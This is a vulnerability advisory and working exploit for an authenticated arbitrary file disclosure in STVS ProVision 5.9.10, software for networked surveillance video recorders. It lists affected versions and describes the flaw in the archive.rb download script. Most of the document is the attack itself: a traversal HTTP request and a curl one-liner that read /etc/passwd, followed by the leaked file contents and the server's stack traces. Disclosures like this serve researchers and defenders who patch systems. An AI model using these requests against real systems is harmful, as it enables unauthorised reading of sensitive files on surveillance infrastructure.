STVS ProVision 5.9.10 - File Disclosure (Authenticated)

# Exploit Title: STVS ProVision 5.9.10 - File Disclosure (Authenticated)
# Date: 19.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.stvs.ch


STVS ProVision 5.9.10 (archive.rb) Authenticated File Disclosure Vulnerability


Vendor: STVS SA
Product web page: http://www.stvs.ch
Platform: Ruby
Affected version:  5.9.10 (build 2885-3a8219a)
                   5.9.9 (build 2882-7c3b787)
                   5.9.7 (build 2871-a450938)
                   5.9.1 (build 2771-1bbed11)
                   5.9.0 (build 2701-6123026)
                   5.8.6 (build 2557-84726f7)
                   5.7
                   5.6
                   5.5

Summary: STVS is a Swiss company specializing in development of
software for digital video recording for surveillance cameras
as well as the establishment of powerful and user-friendly IP
video surveillance networks.

Desc: The NVR software ProVision suffers from an authenticated
arbitrary file disclosure vulnerability. Input passed through
the files parameter in archive download script (archive.rb) is
not properly verified before being used to download files. This
can be exploited to disclose the contents of arbitrary and sensitive
files.

Tested on: Ubuntu 14.04.3
           nginx/1.12.1
           nginx/1.4.6
           nginx/1.1.19
           nginx/0.7.65
           nginx/0.3.61


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5623
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5623.php

19.01.2021

--


#1 LFI Prober (FP):
-------------------

GET /archive/download?files=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: 192.168.1.17
Authorization: Digest username="admin", realm="ProVision", nonce="MjAyMS0wMS0xOSAwMDowNjo0NTo2OTMwMTE6NDk2MmVkNzM2OWIxNzMzNzRjZDc3YzY0NjM3MmNhNz", uri="/archive/download", algorithm=MD5, response="aceffbb0a121570f98a9f4678470a588", opaque="3c837ec895bd5fedcdad8674184de82e", qop=auth, nc=000001ca, cnonce="ebed759486b87a80"
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://192.168.1.17
Referer: http://192.168.1.17/archive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_stream=1; __flash__info=
Connection: close

HTTP/1.1 500 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 18 Jan 2021 23:23:30 GMT
Content-Type: text/html
Content-Length: 2727
Connection: close

<h1>`Archive` application problem</h1><h2>Archive::Controllers::FileDownload.GET</h2><h3>TypeError can't convert nil into String:</h3><ul><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `initialize'</li><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `new'</li><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `get'</li><li>(eval):27:in `send'</li><li>(eval):27:in `service'</li><li>/usr/local/lib/ruby/site_ruby/1.8/ext/security.rb:79:in `service'</li><li>/usr/local/lib/ruby/site_ruby/1.8/ext/forward.rb:54:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/camping-1.5.180/lib/camping/reloader.rb:117:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:53:in `process'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:52:in `synchronize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:52:in `process'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:626:in `process_client'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:625:in `each'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:625:in `process_client'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `initialize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `new'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `initialize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `new'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:282:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:281:in `each'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:281:in `run'</li><li>/usr/local/bin/provision_server:69:in `cloaker_'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:149:in `call'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:149:in `listener'</li><li>/usr/local/bin/provision_server:63:in `cloaker_'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:50:in `call'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:50:in `initialize'</li><li>/usr/local/bin/provision_server:62:in `new'</li><li>/usr/local/bin/provision_server:62</li></ul>


#2 LFI Prober (Verified):
-------------------------

$ curl "http://192.168.1.17/archive//download/%2Fetc%2Fpasswd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
provision:x:999:107::/srv/provision/provision:/bin/bash
stvs:x:1000:100::/home/stvs:/bin/bash
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
ntp:x:104:108::/home/ntp:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:107:65534::/var/lib/nfs:/bin/false


--
Errno::ENOENT No such file or directory - /var/www/index.html:

    /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `initialize'
    /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `new'
    /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `get'